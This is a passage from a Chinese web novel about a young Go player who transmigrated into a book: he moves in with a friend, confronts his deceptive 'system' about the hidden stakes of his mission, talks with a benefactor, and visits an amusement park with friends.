纪辰新一抬眼,就见另外三人的视线都萦绕在他身上,不待他说什么,他们便异口同声道:“你住我家吧!” 崔文和半边脊背贴着座椅,长发随车身微晃垂落肩头,邀请道,“我的住处,离你那酒店不远,搬过去很方便。” 赵言权则好哥俩地撞了下他的肩膀,“哎呀,你去我那,好吃好玩的招待,保管你每天过的舒舒服服!” 苏陌坐在最前那排,单手搭在车窗沿上,手肘撑着边框,回过头笑着道,“你还没来过我帝都的家,我很期待你过来看看。” 纪辰新靠在窗边,姿态懒懒散散,像被阳光晒软的猫,“还是算了吧,我想再找个地方” 崔文和微微蜷着腿,长发从肩头滑下,不赞同道,“你何必去花这个冤枉钱,帝都的酒店和宾馆都不便宜的,你确定?” 赵言权再次撞了下身旁的纪辰新,“是啊,没必要花冤枉钱!再说了,你又不是在这没有朋友没有兄弟,让你去住宾馆酒店啥的,我们也太不是人了!” “苏陌你说是不是?” 被cue到的苏陌,难得同意了他的观点,他点了头,下颌线在光影里软了棱角,“你可以住赵言权家或者我家,至于他?” 说到这,他的目光定定落到了崔文和身上,“就别去叨扰了。” 苏陌的话言尽于此,虽未点破,但懂的人都懂,纪辰新虽在纠结,却也第一时间排除了崔文和。 虽然他这两天都有跟崔文和接触,但他们毕竟没有小时候的情谊,这点大家都心知肚明。 说白了,他们在此之前是没有任何的交情的,所以这种情况下,他决计不可能住过去。 即便崔文和邀请了,也只能说明他人好,客气一下,他若真住过去,就是他不懂事了! 显然,崔文和也知道自己没有什么竞争力,谁让他没有早点和纪辰新成为朋友呢,那人家的选项里没有他,也是正常的。 不过,他并不气馁,他要的本就不是朋友关系,而是另一种。 反正,只要纪辰新不住苏陌家,他都能接受! 崔文和立马调整了战略,手掌托着下巴,长发松散地铺在颈后与椅背上,鼓动道,“要不,你就住赵言权家吧,以前还听赵叔提起过你呢,他对你印象超好,你要是去了,他绝对很高兴。” 赵言权也想起什么一般,“对啊,你来我家住吧,我爸一直想见你嘞,你跟他叙叙旧呗!” 苏陌眉骨微挑,看来崔文和跟他想一块去了,他们俩相互都对对方放不下心来,唯一的选择便只能是赵言权那了。 他尊重纪辰新的选择,却又不愿意放手,继续争取道,“如果你忌惮我爷爷奶奶在家,感到拘束,我还有另一套房子,是我个人的” “不行!” 苏陌话还没来得及说完,崔文和便猛地开口打断,他强烈反对! 个人的?那岂不是就他和纪辰新两个人住? 想都不要想! 崔文和打断的言语,没经脑子就冲出口,霎时间,其他三人的目光齐刷刷钉在了他身上,连空气都滞了半秒。 他一时不知道该作何解释,放在膝盖上的手紧了紧,随即鬼话连篇道,“你那房子估计还得打扫吧,平时也没开火啥的” “好了好了,都别说了!”纪辰新紧急按了暂停,他心里已经有了决断,“我去赵言权家吧,正好去拜访一下赵叔,你们的好意我心领了,谢谢!” 这是他深思熟虑后做的决定,七年前他受了赵信的恩,现在也是时候去拜访一下了。 而且,他也想弄清楚自己一直存疑的事。 不过,既然过去拜访,必不能空着手去,思及此,纪辰新便向赵言权问起了赵信的喜好。 这边,被双双拒绝的苏陌和崔文和,几乎同时噤了声,各自扭过了头去。 虽然这已是最好的安排,但俩人心里都清楚,这场没说破的较量,算是打了个平手,就像车窗外掠过的树影,你追我赶,最终还是谁也没比谁快半分!—— 作者有话说:嘿嘿嘿[坏笑] 第56章 下午五点半, 纪辰新提着行李以及买的一些礼品跟赵言权一起回了家。 一路上,赵言权都唧唧喳喳地讲个不停。 “我已经给我爸发消息了,他在应酬, 估计要晚点回来。” “你晚上想吃什么,我让阿姨做。” “对了,你玩不玩LOL,这个游戏现在很火很火,我平时下完棋都会去玩一玩。” “” 在众多话题里,纪辰新唯一也就对这个游戏感兴趣, “你也玩LOL?” “是啊, 你呢?”赵言权说起这个, 眼睛放光,“要不要我教你?” 纪辰新轻笑了声,“还不知道谁教谁呢。” “哇, 你好大的口气, 那看来今晚必须让你见识一下我的厉害了。”赵言权摩拳擦掌, 挑衅地看着他。 赵言权的家位于城南的中高端小区, 里面绿化做的不错, 环境也很舒适怡人。 “喏,8栋一单元, 就在那, 看到没。”赵言权指着不远处的建筑, “12楼,走吧。” 纪辰新点了点头,想起什么,问道,“赵叔不在家, 那你妈妈呢?” “我妈在我爸新开的围棋班做管理呢,她就是个女强人,有时候比我爸还忙。”赵言权吐槽着。 “平时家里就我,有时候周六周末都见不到她人。” “你这次过来住,都不一定能见到她,说实话。” 闻言,纪辰新不由惊了惊,“这也太女强人了吧。” 俩人说话的间隙,便已乘坐电梯来到了赵言权家所在的楼层,门锁是密码的,安保级别还挺高。 纪辰新进门前问了句,“要不要脱鞋?” 赵言权直接将他拉了进来,“脱什么鞋,没事,直接踩!” “不不不,还是脱吧。”纪辰新眼尖看到了玄关摆放着的鞋柜,并且地面的瓷砖也看起来干净无暇,平时一定是很注重这方面的卫生。 厨房里忙碌的阿姨听到门响的声音,立即出来迎接,她很有眼力见地给纪辰新准备了一双新拖鞋。 纪辰新对她说了声谢谢。 阿姨看起来也就五十多岁,微笑又恭敬地瞅着赵言权,“小权先生,按你的要求,晚上准备了三个荤菜,两个素菜,还有一个汤在锅里,您看是现在盛出来开饭,还是再晚一点?” 赵言权不太在意道,“盛出来吧,我妈不回来吃,我爸回来估计也要一个小时后了,我和我朋友先吃。” “???”纪辰新愣愣地看着他,再次惊叹,“这不太好吧,不等一下赵叔吗?” 赵言权将手机屏幕怼到他面前,“你看,我爸早说了,让我们先吃,别等。” “没事的,放心吃!这么多年我都是这么过来的,难道他们不回来,我还不吃饭了?” 纪辰新:“” 赵言权将他领到了餐桌,“随意坐,就跟在自家一样。” 纪辰新拘束倒不拘束,只是不由打量起赵言权的居住环境来,家里的装饰看着不怎么便宜,整体都是单调的冷色,没有一丝鲜活的暖色,很是冷清。 从赵言权的话里,不难看出,他的父母忙于工作,就连他这个儿子都不怎么能见到人,很难想象他是如何养成这副开朗性格的。 系统突然开口,【他能积极向上,不长歪,全靠他自己的乐观与天性。】 【他父母属于严厉那挂,平时给予的亲情不多,但他自己挺会给自己开解的。】 纪辰新微微挑了下眉,不置可否,成长环境是烙在生命里的初始底色,但最终活成什么样,从来不是底色说了算,是藏在心底的那份劲儿。 只要有那份心劲儿在,便能突破性格桎梏,改写人生! 因为心若向阳,必定一往无前! 思及此,纪辰新蓦地蹙眉,不对劲,好不对劲他突然就想到了苏陌! 处处都透着不对劲! 【系统,我问你,男主是什么性格?他都男主了,心智绝对很坚定吧。】 【而且,能把围棋下到登顶第一,绝非仅靠棋艺高超,无数次的对弈中沉淀下来的心智,早已坚如磐石,没有对手或许是棋途的新境,绝不会是生命的终章。】 【系统,你是不是瞒了我什么?】 一连串的分析与疑问下来,系统直接噤声了,它没想到纪辰新能联想到这么多。 纪辰新拧起了眉头,【系统,你别装死,快给我说清楚。】 【我知道你能听到。】 【再不说,我撂挑子不干了!】 【任务,你还要不要完成了?】 被纪辰新这一威胁,系统也是麻了,它斟酌着开口,【我哪有瞒你什么,一开始就说的很清楚了,你自己不要胡乱猜测好吧。】 纪辰新态度强硬,【我要是不会下围棋,还真就信你这套说辞了,这七年,我下的棋不计其数,我都懂的一个道理,我不信苏陌不懂。】 【能在黑白交错的棋局中,掌控全局的棋手,心智绝对能超越有无对手的局限,怎么会因一时无争,便生出轻贱生命的念头?】 【你以前说他性格有点偏执,但我依旧相信他不会做出这样的选择。】 【况且,即便我能打败苏陌,我也不敢断定我能打败这个世界上的所有人,苏陌同理!同年龄段我们可能暂时没有对手,但年长我们许多的那些棋手,那些钻研围棋一生的棋手,棋力真的比不上我们吗?】 【真的很不合理,你今天非得跟我说明白!】 正当纪辰新还在强迫系统说出个所以然来时,阿姨已经将所有菜都端上了桌,并给俩人都装好了饭。 赵言权在纪辰新旁边坐下,“发什么呆,吃饭呀!” 纪辰新被打断,抽回了思绪,回复了一声,“好。” 赵言权给他夹菜,“尝尝,合不合胃口。” 纪辰新被投喂,一时也不好分出心神跟系统说什么,只能丢下一句威胁的话,【今天不说清楚,这任务你另请高明吧。】 “纪辰新,你再尝尝这个汤,超鲜的。” “纪辰新,你一定要多吃点,你看你瘦的。” “纪辰新,你吃不吃辣” 一顿饭下来,纪辰新深刻感受到了赵言权的热情,硬是被逼着吃了三大碗饭,当然,赵言权自个也没好到哪去,他好像因为突然有人陪吃饭,兴致高到食欲大开了。 那个阿姨在收拾碗筷时还笑着道,“这还是第一次见小权先生吃这么多呢。” 纪辰新服了都,嘴角一抽:“”确定不是管家,而是阿姨吗? 饭后,赵言权躺在沙发上时不时打嗝,颇有点晕碳的意思。 其实,纪辰新也晕,但他还撑着意识在问系统,【想好怎么说没,我只给你五分钟的时间。】 系统早在纪辰新吃饭时就做好了思想建设,既然已经被宿主察觉,那它也没什么好隐瞒的了。 【宿主,你真的很敏锐,男主确实不是因为没有对手而对这个世界失去希望的。】 【实际情况是,《围棋圣手》这本书是个烂尾小说,原书作者在写完男主拿到职业九段后便灵感耗尽,没有后续了。】 【至此,意外发生,小世界就此停滞,每天都在重复最后一天,周围所有人就跟npc一样,男主直接意识觉醒了,因为他发现了世界的真相,为了冲破桎梏,选择了自我了结。】 【他自我了结以为可以冲破到新的次元(现实世界),但是,自我了结并没有用,只不过是按照原书重来一遍。】 【不过他的自我了结,惊动了主系统,为了小世界的稳定,主系统就把我派来了。】 【为了让男主安稳下来,不再出幺蛾子,我想了个办法,去找了原书作者,让他将烂尾书写完。】 【结果你猜怎么着,他说他早就没灵感了,要是有灵感也不会烂尾】 【不过,他也给了我建议,说是可以造就一个新的主角,从而改变原书的既定走向,书写新的篇章。】 【直白来讲,只有换主角,故事才能革新!】 【结果,你又猜怎么着?】 【烂尾后,男主不是已经觉醒了吗,他是世界的中心,他有自己的意识,我们做什么都瞒不过他,原书作者新编写进去的文字直接消失,我们根本无法编一个新的主角进去。】 【那没办法了,我向主系统报告,找人穿进他意识觉醒之前,去培养一个新的主角出来,与他对抗。】 【这个人必须是能够与男主匹敌的对手,是能与他的气运抗争,碾压他的人。】 【而且还要心智坚定、聪明、意志力绝佳、学习能力强、领悟能力高】 纪辰新无法形容自己听到的一切,他不可置信,也气愤无比,【所以你就把我拉来了?】 【不对,明明是把我骗进来的!】 【你到底从哪看出我符合这些条件的?】 系统连忙安抚:【自然是数据筛选出来的,宿主,我说过,你是独一无二的,也是我精挑细选的!】 【你看,数据果然没有错,你学习能力强,领悟能力高,围棋这么难的东西,你很快就学会了,你还下赢了苏陌,说不定最后真能完成任务呢!】 纪辰新冷静思考,【为什么不从一开始告诉我真相,要是任务没完成,我会如何,苏陌又会如何?】 系统小心翼翼道,【额要是没完成的话,你会和苏陌一起被困在书里,一直重复最后那一日,即便自我了结,也不过是一切重新来过,根本无法脱离。】 【┭┮﹏┭┮~我的宿主,我不是故意要瞒着你的,只有你的数据最匹配,只有你能帮我完成任务!】 【我当时不敢说啊,说了你肯定不会答应我的,你那时候是植物人,好不容易挂了,那么想要投胎,我若是用一个并不一定能完成的任务从此绑定你,让你困在书里,还可能再也无法解脱,你百分百不会答应的!】 纪辰新脑袋都是懵的,他在捋,【所以,你为了我能听话完成任务,就用我奶奶牵制我?】 系统无力极了,【虽然不太道德,但是能重新见到奶奶,不是你一直以来的心愿吗?】 【而且,你见到奶奶明明很开心呀!】 【现在的生活难道不好吗?】 【我可能确实有点卑鄙,不该掩藏事情的真相,以及任务没完成会对你造成的后果,但那时候,我不知道纪奶奶在你心里是否比这个后果更重要,只有瞒着才是我当下的最优解。】 【宿主,现在事已至此,咱们没有回头路可走了。】 纪辰新翻了个白眼,狐疑道,【那三天不下棋就会死,又是哪一出?】 系统心里打了个突,【额,就是模拟死亡啦,你会感受到真实的,接近死亡的痛苦,但不会真的死┭┮﹏┭┮】 【其实一开始,因为你的不配合,我都不敢劝你学围棋,就怕你产生逆反心理,我一直希冀着你能在我帮你下棋的过程中,慢慢喜欢上围棋,然后我再以教导的名义,令你学有所成,真正与男主形成对抗。】 【你都不知道,七年前的市赛,我得知你居然想从此下出自己的棋,我有多么的开心!】 【你永远无法理解,我背负的这些有多沉重,主系统都说了,办不成,就要把我报废,呜呜呜!】 纪辰新无语凝咽,【你哭毛啊哭,你算计我这么多,你好意思哭?】 系统哭唧唧,【┭┮﹏┭┮对不起,我错了,我也没办法,我的身家性命全系你身上了,救命啊!】 纪辰新给他竖了个中指,【滚!】—— 作者有话说:[眼镜]本来想在快完结的时候揭晓,但还是提前写出来啦![墨镜] 第57章 系统哭唧唧的道, 【宿主,你要怪我也好,骂我也罢, 但咱们的主线任务,其实并没有改变呀。】 【我只是隐瞒了事情的原委以及后果而已,拯救男主这个任务,我从始至终都没骗你的。】 【难道你忍心看着苏陌,你的朋友,就此困在书里, 一直循环往复, 痛苦不堪吗?】 【你现在已经在围棋上赢了他, 只要比他先拿到职业九段,咱们说不定就能成功。】 【只要你的能量和气运足够强大,将他取代, 原书走向绝对就能改变的。】 【只不过, 现在知道真相, 你可能会有一定的压力, 但压力也是动力呀, 你就算不为苏陌着想,你也该为自己着想吧, 若是失败了, 你也同样困在书里了。】 【你想想, 到时候就你和苏陌两个活人,周围其他人都是无意识的npc,整个世界重复着最后一天,真的不会疯吗?】 系统动之以情,晓之以理, 它聪明到没敢再提纪辰新的奶奶,怕火上浇油。 不过它说的这些确实在理,纪辰新又怎会不明白,但他就是气愤,这狗系统,居然算计他! 唯一做的一件好事,也就只是让他重新见到了奶奶而已。 但现在让他割舍,也是绝不可能的,系统就是吃准了他这一点,只要他不想让奶奶变成无意识的npc,便只能继续任务,甚至必须成功。 他既气愤系统的欺骗,又不得不与它一起共进退。 说白了,他俩现在就是一根绳上的蚂蚱,一荣俱荣,一损俱损。 纪辰新思虑清楚后,咒了它一句,【我他么,真想看看你报废了的样子。】 系统瑟瑟发抖,【啊,不要啊,那我就成一堆破铜烂铁了,意识都没了,没什么好看的,呜呜呜】 【呜呜呜~宿主,我也是不得已啊,求求了,放我一马,也放你自己一马吧。】 纪辰新不想理它了,现在任务还得继续,似乎确实没有改变什么,他该干嘛还得干嘛。 至于压力? 确实会有。 因为,他也不知道自己是不是一个能量大到可以撼动主角的人 但想太多,也不过是杞人忧天,只有做了才能知道最后的答案。 那便只能努力去做了。 * 赵信回来时,都快七点半了。 阿姨马不停蹄地将热好的饭菜端上桌。 纪辰新从沙发上起来,迎接了他,亲切地喊了声,“赵叔。” 四十来岁的赵信,身着剪裁利落的西装,身体挺拔如松,比起七年前,愈发成熟稳重气派,他的眉宇间自带一种不怒自威的沉静力量。 但当他的目光落在纪辰新身上时,却卸下了在外伪装的标准笑容,唇角弯起温和的笑意,“辰新啊,好久不见!” “好小子,都长这么高,这么帅气了。” 他的眼角缠绕着细密的纹路,悄悄刻下了岁月走过的痕迹。 纪辰新也笑着道,“没有没有,赵叔才是风采依旧!” “对了,这是我给您带的礼物,赵言权说你就爱喝这个品种的茶,我便投其所好了!” 纪辰新脊背挺的笔直,整个人不卑不亢,递出礼物时指尖稳而不颤,眼神清澈得不含半分谄媚,语气平和又真诚,与赵信平日在外面打交代见到的那些形形色色的人格外不一样。 赵信哈哈笑了两声,“好,那我就收下了,谢谢你的礼物。” “哎呀,你们俩就别客气来,客气去了,都快坐下吧!”赵言权受不了的在一旁脚趾抠地,“大家都老熟人了。” 赵信无奈地瞅了自家小子一眼,然后又没眼看的扭过了头去。 他拉着纪辰新话家常,“听这小子说你后面搬去了墨城?” “恩。”纪辰新点了点头。 阿姨有条不紊地给赵信布菜,这些菜都是刚刚纪辰新和赵言权没动过的,专门给他留出来的一份。 赵信一边吃饭,一边思索着道,“听说你还参加了世赛的选拔?” 赵言权就爱拆自己老爸的台,“你问题太多了,搞的我兄弟都拘谨了,快吃你的饭吧!” 纪辰新没觉得有什么,淡笑道,“对,选拔赛已经比完了,之后会参加三轮世界赛,全程九个月。” 赵信细嚼慢咽着,“世赛我知道,三个月比一轮,就是耗时太久了,不然我也让我这小子去见见世面。” “不过,他现在专心打升段赛,腾不出那么多时间,这个比赛难度还是挺大的,想走到最后不容易。” 话里话外的意思无非是,这个比赛耗时,还可能得不到结果,没必要! 纪辰新却不以为然,他心意已决,谁也无法改变。 “你为什么会想要参加这个比赛?”赵信疑惑地看着他,本来想问他为什么不参加定段赛,却又想起,他将证书卖与自己的事,一时难言。 好在,这小子争气,已经通过全国业余围棋锦标赛,成功晋升为职业初段,倒是让人放下了心来。 纪辰新轻笑着,“听说,这是最快晋升职业九段的路径,我想试试。” 少年的眼眸澄澈平和,没有半分自负的锋芒,说试试的语气,轻缓地像在聊天气,全是稀疏平常的淡然。 但奇怪的是,你偏偏就能被他身上那股无形的磁场牢牢吸引,那是一种藏在平静下的笃定,不张扬,却让人由衷信服。 仿佛他说的这句话,本该就是他能稳稳做到的模样。 当年那个一举拿下市赛,省赛冠军的孩子,终究是长大了,这次,他说他要试试世界冠军,赵信将一切看在眼里,依旧选择了支持。 “好,有志气,那便去闯!” 赵言权安静地坐在一旁,一时被俩人之间的气氛感染,内心蠢蠢欲动,“这比赛好不好打,我能不能也去试试啊?” 话刚落,赵信直接给了他一记眼刀,“你就算了,好好打你的升段赛吧,你跟他不一样!” 赵言权不服,“怎么不一样了?我的段位也不低好吧,我现在职业六段!” “六段怎么了?人家苏陌七段,不也没参加吗?”赵信放下碗,侧目朝他看过去。 “这比赛会跟你的升段赛发生冲突,会影响到升段计划,你先在国内棋坛站稳脚跟,再想其他的。” 这是赵信给出的规划,赵言权的一切都得按照他的规划走,不能行差踏错一步。 赵言权本来也对这个世赛没多大兴趣,平时的保段赛和升段赛已经够他忙活了,被赵信说了一通后,发现自己确实没有更多的精力去参加别的比赛,便泄了气。 “行吧行吧,我就是好奇而已。”他摸了摸鼻子,就想拉着纪辰新回房间玩游戏。 纪辰新摇了摇头,拒绝道,“我还有点事想问赵叔,你先去吧。” 赵信端碗的动作一顿,便让赵言权回房间去,“我再跟辰新叙叙旧,你先回房间吧。” 赵言权一看这俩人是要把自己支走,瞬间八卦上身,“干嘛呢,你们叙旧,我就不能听了?” 赵信朝他横了一眼,然后放下了碗,“棋下完了吗,等下我来检查。” “”赵言权无力的摊手,“老爸,你就不能让我休息一天吗?” 赵信冷声道,“昨晚不是已经让你休息了?一晚没回家,看什么日出,我看你是闲得慌,既然这么闲,那今天都多下几局棋吧。” 赵言权天塌了,“啊,不要啊!” “我不打扰你们了,我这就去下,但我今晚只下一局哈,下完拍照发你!” 赵言权一走,客厅倒是猛的安静了下来。 赵信无奈摇头,他饭吃的差不多了,“走吧,去我的书房。” 赵信的书房。 不大不小的面积,各处陈列里,无不透着主人的过往荣光。 一侧的展架上,各式围棋奖杯错落摆放,金属光泽在灯下泛着沉稳的光,墙上悬挂着锦旗,旁边还有整齐排列着多帧商业活动合影,以及围棋班的荣誉嘉奖和棋院的各项专业证书等。 这里面的每一件都在静静述说着书房的主人在棋坛与商界的双重沉淀。 书房的书桌上,一局未尽的棋默默铺开着,黑白棋子疏密有致,赵信也是下棋的,但纪辰新一直都见的少,见到他最多的是商场上,圆滑,虚以委蛇的模样。 俩人在茶几的沙发处落坐,赵信摆弄着茶具,没一会儿便泡了两杯热茶出来,其中一杯放到了纪辰新面前,“说吧,你想问什么?” 纪辰新双手轻轻搭在膝盖上,姿态透着恰到好处的礼貌,“赵叔,谢谢您当初对我的帮助。” 他的声音清亮又诚恳,目光稳稳落在赵信的身上,“当初若不是你,我奶奶治病的钱都” “欸,这有什么好谢的。”赵信伸手止住了他要说的话,“你别有负担,你当初将证书卖给我,而我给你钱,这就是桩普通的交易。” 他的语气云淡风轻,仿佛这件事不值一提。 纪辰新轻轻皱起眉,“上次,我参加全国业余围棋锦标赛的奖金是五万。” “这个级别的比赛是明显高于省赛的,赵叔,我不傻,省赛颁发的那张证书,绝对不会比五万高,而你却给了我八万。” “你私自给我垫了很多钱吧?” 赵信闻言,不动声色地避开了他的目光,指尖轻轻摩挲着杯沿,“没有的事,它就值这个价。” 那藏在话语背后的真相,他终究还是不愿说。 纪辰新不由叹了口气,“你卖给谁了,亏了多少?我给你补齐吧。” 赵信语气里带着几分故作轻松的调侃,“我可是商人,难道还会做让自己吃亏的事?你这孩子,就是爱多想。” 没人看见,此刻书桌抽屉深处的保险柜里,那本白底红字金镶边的证书正静静躺着,只是如今,它的主人早已不需要它来参加定段赛了。 赵信执意不说,不愿让这份“特殊”被少年察觉,平白给人心里添了负担。 因为他太清楚了,人一旦背负太多东西,就很难飞的高,飞的远,他希望纪辰新能毫无牵绊地展翅,就像他家那小子一样,无烦恼一身轻,在广阔的天地间,寻到属于自己的那片人生光辉。 至于,小时候的苦,早已过去,就别再沾染半分了。 赵信淡淡勾了勾唇角,“纪辰新,你想想,我是什么人啊,不被我翻一倍卖掉,都算是那人运气好!” 茶几上的水壶“嗡嗡”作响,细密的水汽裹着越来越急促的“咕噜”声漫出来。 纪辰新分不清他话里的真假,但世人都告诉他赵信就是个重利的商人,他心想说不是的。 他的直觉告诉他,不是这样的! 第58章 晚上, 赵言权下完棋,便拉着纪辰新一起玩游戏。 起初,他还秉着教纪辰新的心态给他讲解, 结果哪曾想,纪辰新一上手比他还要熟练。 “卧槽,你练过?”赵言权盯着他的操作惊呆了。 纪辰新淡笑道,“那倒没有,就是玩的比较多罢了,要不要开黑?” “可以可以, 我去把我爸那台电脑也搬过来, 咱们一起玩。”赵言权话落, 立马就去了。 赵信虽然是严父,但一般只要赵言权能完成他交代的任务,就不会太限制他。 俩人这一开黑, 就直接玩到了晚上11点。 赵言权全程都激动的不得了, “快来这边拆塔。” “咱们一起蹲草, 杀他个措手不及。” “快救我, 快快快, 我要死了!” “艹,等我复活, 必须再干他一波!” 纪辰新瞄了眼时间, “不早了, 打完这把,咱们就下吧。” 赵言权意犹未尽,“啊,这12点都没到,再玩两局呗, 我打的正嗨呢。” “早点睡吧,养好精神,我们明天不是还约了苏陌一起去游乐场吗?”纪辰新严格控制着时间,主要这不是在网吧,而是在人家里,不好玩太晚。 赵言权最后在纪辰新的坚持下,不得不下了游戏,但他亢奋到根本睡不着,“明晚,明晚我们继续玩!” 翌日,早上七点半,纪辰新缓缓睁开了眼。 等他收拾妥当打开房门时,阿姨已经准备好早餐,整整齐齐地摆放在了餐桌上。 家里冷冷清清,一如昨日来时那样。 阿姨见到纪辰新,微笑着招呼,“赵先生已经吃过早餐,出门上班了。” “今天的早餐是小米粥,肉馅饼,溏心蛋,还有鲜榨果汁,还请慢用。” 纪辰新挑了下眉,总感觉忽略了什么,等他吃到一半时才想起,“那个赵夫人,也就是赵言权的妈妈,昨晚没回来吗?” 阿姨一边做家务,一边道,“夫人平时很忙,要是太晚了,会在另一套离棋院更近的房子休息。” “啊,这样啊。”纪辰新喝着果汁,看来赵言权说的没错,他妈妈果然是个大忙人。 系统适时插嘴,【赵言权的妈妈是新时代女性,不愿困于生活琐事,一心向着事业。】 【她也的确做出了不错的成就,可以说,赵信如今的地位,以及开创的围棋班和棋院,有一半都是她的功劳。】 【所以,股权上,她也占到了一半,话语权有时候比赵信都大。】 【不过,有得必有失,她疏于对赵言权的管教,从生下赵言权起,便丢给了保姆阿姨照顾,这也就导致了赵言权与他母亲不太亲。】 纪辰新本来不想听系统七里八里的讲话,但又不得不承认因为它的科普,让他想通了一直想不通的事。 所以赵言权几乎从来不提他的母亲,多半也有这个原因在吧,亲疏远近有时候真的是靠相处得来的。 这样思索着,赵言权也终于从房间出来了。 他揉着眼睛,看到坐在餐厅吃饭早餐纪辰新,愣了一下,“哇,你起好早啊!” 纪辰新笑了笑,“快点吧,咱们九点就得到环球游乐场。” “刚刚苏陌已经给我发消息了,半个小时后,他的司机就会来接我们。” 赵言权瞬间来了精神,“行行行,我马上就去收拾。” 半小时后。 小区外,苏陌正侧靠在车座上,指尖轻捻着泛黄的棋谱页角,目光凝在交错的黑白棋道上,连窗外赵言权和纪辰新已然到达,都未分去半分神。 还是司机将车门缓缓打开,苏陌才注意到外面的动静。 在对上纪辰新的目光后,他悄然合上了棋谱,弯了下嘴角,“快上车,过去要四十分钟,我们九点怕是赶不上了。” 纪辰新踏上了车,赵言权紧随其后。 “票买好了没?”赵言权担心道,“听说那里的票很难抢。” 苏陌将座椅上的三张票拿了起来,“昨晚就安排好了。” 纪辰新也有点小兴奋,“这里面是玩什么的,为什么票这么难抢?” “现在正值暑假期间,人流量多,再加上这里面可供玩的项目新颖又有趣,票自然就难抢了。”苏陌给他解释着。 “首先是过山车,跳楼机类,其次是水上项目以及运动竞技,像蹦床,空中索道,射击,攀岩,卡丁车等。” “所以要早一点去,不然一天下来都可能玩不完。” 纪辰新还是蛮感兴趣的,前世他打工赚学费,生活费基本占据了他大部分的时间,闲暇时分也就玩个游戏,都没去这种地方。 “你们之前去过没?” “没有。” “我也没有。” 苏陌和赵言权俩人同时给出了否定的回答,这倒让纪辰新有些纳闷了。 赵言权笑着道,“我平时下棋,打比赛都忙不过来,我爸妈更是忙的不可开交,哪有时间啊” 再说了,又没人陪他去,他一个人也不想去。 当然,这句话他没说! “我都这样,就更别说苏陌了,他打起比赛来,比我还疯!” “而且,即便有了休息时间,这七年来,他几乎都忙着去各个城市找”你! 他话还没说完,便被苏陌打断了,“你渴不渴,要不要喝水?” “啊?”赵言权懵逼了一瞬,然后接过了苏陌给他递过来的水,颇有点受宠若惊的感觉。 直到对上苏陌的视线,他才知道,这是让他闭嘴! 纪辰新还在疑惑,“找什么?” “啊找比赛!他就喜欢打比赛,哪有比赛,哪里就有他的身影!”赵言权胡言乱语的编,编完还不忘观察一下苏陌的反应。 纪辰新“哦”了一声,“那确实有点疯狂了。” 苏陌后背紧贴着车座,双手随意搭在膝头,窗外的光影晃过他的侧脸,微微掀了掀眼尾,神色带着浅淡的笑意,“这都陈年旧事了,不提了。” 九点二十分的样子,他们顺利抵达了环球游乐场。 纪辰新看着不远处,排起的长队,又看了看天上的太阳,“这怕是有点晒哟。” 话落,苏陌便抽出一张卡,“我办了VIP,咱们不用排队,走吧。” “卧槽,牛逼啊!”赵言权惊喜出声,“那是不是我们玩项目的时候,也能走VIP通道,不用排队?” 苏陌点头,“对,贵总得有贵的道理。” “有多贵?”纪辰新瞬间问道,“这个比普通票贵多少?” 苏陌没说,避重就轻道,“没多少,走吧,既然要玩就玩个痛快。” 赵言权立即拉着纪辰新出车门,“哎呀,别想太多,苏陌他有钱,让他花去,这也算给咱们谋福利了。” 纪辰新无奈地被他拖出去好远,“好啦好啦,我知道了,你先松开!” * VIP通道确实方便很多,三人畅通无阻地检了票,第一个项目就去玩了过山车。 纪辰新被安排坐在了第一排,旁边是苏陌,后面是赵言权。 第一排的视野里只有轨道和天空,启动时推背感带着胸口发紧,前方空荡荡的轨道直插天际。 上升到顶点的瞬间,整个人像是悬在半空,下一秒失重感砸下来,轨道带着身体猛地扎向地面,风刮得眼睛发涩,连神经都跟着轨道的弧度绷紧又松开。 身体跟着轨道狠狠下坠,纪辰新咬着牙,没发出一声响。 而坐在他身后的赵言权,一直在大喊,“艹啊,我的妈呀,靠!” 速度冲的越快,风就越猛,苏陌被车身俯冲带着失重感时,微微眯着眼,然后猛地将手搭在了纪辰新的手背上,他微微仰着头,下颌线绷的利落却不紧绷。 纪辰新根本没反应过来他这是做什么,还以为他害怕,便随他去了。 风灌进敞开的衣领,把衣摆吹得猎猎响,目光都因为速度变得模糊,只剩下轨道不断咬着车身向前冲的震颤。 两分钟后,车速陡然下降,缓缓停了下来。 重新抵达地面的赵言权,整个人都是轻飘飘的,他抚摸着自己的小心脏,“刺激啊!” 手背上被覆着的手依旧没拿开,带着温热的触感,纪辰新不由侧目朝苏陌望了过去,“你是不是害怕?” 少年注意到身旁的视线,像是才意识到什么,立即将手拿下,解释道,“是有点,不好意思,我太紧张了。” 纪辰新摇了摇头没觉得有什么,安抚道,“没事,别怕,有我在!” 闻言,苏陌抬眸,神色定定地看着他,嘴角轻轻勾起,“好。” 离开了这个景点,三人又去了玩跳楼机的地方。 跳楼机是由一个高耸的塔身和沿塔身上下移动的座椅组成,储气罐向气缸冲入高压空气,推动活塞带动座椅上升和下降,并通过控制气体压力和流量来实现不同速度的下降和减速的。 总之,它的失重感会比过山车还要刺激。 三人站在地面观看时,直接就被冲破天际的尖叫声震慑住了。 赵言权忐忑的后退了一步,“我们还要玩吗?” 纪辰新点头:“当然,来都来了。” “你到底在怕什么?是不是爷们?” 这一激,赵言权顿时拍着胸脯保证:“老子才不怕好吧。” “但苏陌都没发表意见呢,总得问问他吧。” 说罢,他用希冀的目光看向了苏陌。 然而,苏陌神色淡然,无所谓的道,“我都可以。” 纪辰新直接拍板,“那就好,走吧。” 赵言权:“” 由于是VIP,所以三人继续不用排队,火速就进了场,直接入座。 工作人员提醒所有人将手机以及背包等放在地面的柜子里,以免发生高空坠落砸到人。 等一切准备就绪,便是检查设备安全问题。 赵言权自从坐上去后,便有些面露难色,但他依旧不肯屈服,“呵呵,老子才不怕!” 他一直心理暗示,给自己壮胆。 纪辰新见他这样,真怕他出什么问题,“要不,你站下面等我们吧。” “不,我要玩!”赵言权挺了挺胸,“我真不怕,你别管我!” 见他执意如此,纪辰新也不好说什么了。 工作人员挨个检查了每个人腰部以及胸部的安全防护,确定没问题了,才统一退到了安全距离。 十秒左右,座椅缓慢爬升,地面景物逐渐缩小,高度带来的轻微眩晕感先浮现,随着塔身顶端逼近,风刮过耳畔,到达顶端时座椅直接悬停了。 纪辰新能感受到自己的心脏正在剧烈地“砰砰”跳动,这种静止地悬停最是磨人,大脑在等待下坠的预判里紧绷,周围的一切都变的静悄悄的。 他恍惚间听到身旁苏陌急促的呼吸声,在毫无预兆的急速下坠时分,身体瞬间失去支撑,纪辰新感受到自己的手再次被苏陌扣住,但这次却与上次的简单覆盖不同,是十指紧扣! 